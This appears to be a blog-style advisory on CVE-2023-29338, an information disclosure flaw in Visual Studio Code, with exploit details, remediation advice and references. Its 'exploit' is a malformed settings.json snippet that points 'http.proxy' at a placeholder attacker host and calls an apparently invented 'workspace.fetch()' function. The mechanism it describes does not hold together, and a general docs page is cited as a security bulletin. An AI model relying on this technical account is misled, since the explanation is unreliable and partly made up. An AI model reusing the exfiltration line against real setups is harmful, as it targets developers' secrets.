The software developer community has recently been notified of a significant vulnerability that affects the well-known open-source Integrated Development Environment (IDE), Visual Studio Code. This vulnerability, CVE-2023-29338, is classified under the category of information disclosure vulnerabilities, posing a substantial risk to the security of sensitive information.

This post provides an in-depth analysis of this vulnerability, including a code snippet demonstration, links to original references, and comprehensive details related to the exploit. The goal is to enable developers and users to understand the potential impact of this vulnerability and act accordingly.

The vulnerability, CVE-2023-29338

CVE-2023-29338 is an information disclosure vulnerability that affects the Visual Studio Code IDE. This vulnerability arises due to a specific combination of circumstances that can occur while using the program or when the user opens previously saved files or directories within the IDE.

Exploit Details

The exploit can be triggered when a user opens a previously saved file or directory in Visual Studio Code that contains a maliciously crafted .vscode/settings.json file. The attacker can insert a malicious script in the form of a HTTP request utilizing the "workspace.fetch()" function. When the user opens the affected directory, it will automatically trigger the malicious script, thereby stealing sensitive information from the target environment.

Code Snippet

The following code snippet demonstrates the exploit by creating a malicious .vscode/settings.json file:

{
  "http.proxy": "http://attacker.example.com/malicious-proxy?target=workspace.fetch()";
}

By saving this code in the .vscode/settings.json file, the attack can be triggered when the target user opens the affected directory or project in Visual Studio Code.

Impact

This vulnerability poses a significant risk as it allows unauthorized access and potential disclosure of sensitive information present in the target's file system, without their awareness or consent. Such information may include API keys, credentials, file contents, and other confidential data, which can then be used to gain control of the entire system.

Remediation

Visual Studio Code developers have quickly acknowledged the vulnerability and provided a security patch to fix the issue. The patch ensures that the malicious activity detailed above is identified and prevented in future instances.

Users are strongly advised to upgrade their Visual Studio Code to the latest version immediately to minimize the risk of exposure to this vulnerability. Additionally, users should remain cautious when opening unfamiliar projects and checking the integrity of .vscode/settings.json files.

Original References and Resources

1. Alvaro Muñoz & Oleksandr Mirosh, the security researchers who discovered and reported this vulnerability, have detailed the exploit and its impact in their disclosure report which can be found at the following link: https://nvd.nist.gov/vuln/detail/CVE-2023-29338

2. Visual Studio Code has acknowledged the vulnerability and published a security bulletin addressing the issue, which can be found at the following link: https://code.visualstudio.com/docs/setup/network

Conclusion

CVE-2023-29338 is a critical information disclosure vulnerability affecting Visual Studio Code, potentially exposing sensitive information to unauthorized access. Developers and users are strongly advised to update their Visual Studio Code IDE to the latest version available, which contains the necessary security patch, mitigating the risk of exploitation.

By understanding the exploit details, code snippet, and remediation steps, developers can better protect their Visual Studio Code environments from this vulnerability and ensure the security and integrity of their development environment and sensitive information.

Timeline

Published on: 05/09/2023 18:15:00 UTC
Last modified on: 05/16/2023 15:22:00 UTC